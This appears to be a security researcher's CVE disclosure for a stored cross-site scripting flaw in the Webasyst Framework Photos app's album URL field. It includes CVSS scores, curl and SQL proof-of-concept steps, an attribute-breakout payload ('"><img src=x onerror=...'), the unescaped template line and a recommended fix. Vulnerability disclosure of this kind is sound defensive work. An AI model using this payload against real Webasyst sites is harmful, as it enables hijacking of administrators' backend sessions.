← Back to CVEs
Webasyst Framework

CVE-2026-116212 - Webasyst Framework through 4.4.0 Stored XSS via Photos Album URL

October 2026 — Common Vulnerabilities and Exposures (CVE)

A GitHub repository version of this disclosure can be read here: CVE-2026-116212.


DetailInformation
CVE RecordCVE-2026-116212
Severity5.1 Medium (CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N)
5.4 Medium (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N)
Date Published2026-10-26
Software NameWebasyst Framework
Affected Version(s)0 through 4.4.0
Software Linkhttps://github.com/webasyst/webasyst-framework
VendorWebasyst
Researcher CreditsAaron Amran Bin Amiruddin (@aaronamran)

Description

Webasyst Framework through 4.4.0 contains a stored cross-site scripting vulnerability in the Photos app that allows authenticated backend users to inject JavaScript via the album url parameter. Attackers with album edit rights can save a url value that breaks out of the unescaped attribute in DialogAlbumSettings.html, executing JavaScript in administrators' backend sessions.


Prerequisites


Proof-of-Concept

1. Log in as admin to obtain a session cookie.

rm -f cookies.txt
curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1:8080/webasyst/" \
    -d "login=admin&password=admin123&remember=1" >/dev/null

2. Create a test album to use as the injection target.

docker exec wa-docker-db-1 mysql -uwebasyst -pwebasystpassword webasyst -e "
DELETE FROM photos_album WHERE name='XSS Test Album';
INSERT INTO photos_album (name, contact_id, status, create_datetime, url)
VALUES ('XSS Test Album', 1, 1, NOW(), 'normal-url');
SELECT LAST_INSERT_ID();
"

# Expected Output:
LAST_INSERT_ID()
2

3. Save an XSS payload as the album's URL field via the album save endpoint..

curl -s -b cookies.txt -c cookies.txt \
    "http://127.0.0.1:8080/webasyst/photos/?module=album&action=save" \
    --data-urlencode "id=2" \
    --data-urlencode "name=XSS Test Album" \
    --data-urlencode 'url="><img src=x onerror=alert(document.domain)>' \
    --data-urlencode "status=1" \
    --data-urlencode "type=0" \
    -w "\nSave album: %{http_code}\n" -o /dev/null

# Expected Output:
Save album: 200

4. Open the album settings dialog for the poisoned album in a browser while logged in.

http://127.0.0.1:8080/webasyst/photos/?module=dialog&action=albumSettings&id=2

CVE-2026-116212 Image 1

The payload fires immediately on page load. The alert displays document.domain (127.0.0.1), confirming JavaScript execution in the backend session context. Any user who opens this dialog regardless of their privilege level triggers the payload.


Vulnerable Code Section

<input type="text" name="url" value="{$album.url}">

The url field has no |escape modifier. Adjacent fields in the same template do:

<input type="text" name="name" value="{$album.name|escape}">
<input type="text" name="full_base_url" value="{$album.full_base_url|escape}">
$url = waRequest::post('url', null, waRequest::TYPE_STRING_TRIM);
// ...
$data = array(
    'url' => $url,   // stored directly, no HTML sanitization
    // ...
);

The validate() method checks only URL uniqueness. No character filtering is applied. For existing albums (edit path), the raw user-supplied value is written to the database and later rendered unescaped in the dialog template.


Recommended Fix

<input type="text" name="url" value="{$album.url|escape}">
$url = waRequest::post('url', null, waRequest::TYPE_STRING_TRIM);
if (!preg_match('/^[a-zA-Z0-9_\-]+$/', $url)) {
    $this->errors['url'] = _w('URL may only contain letters, digits, hyphens and underscores.');
    return false;
}

Timeline



See you in the next hack.

@aaronamran

October 2026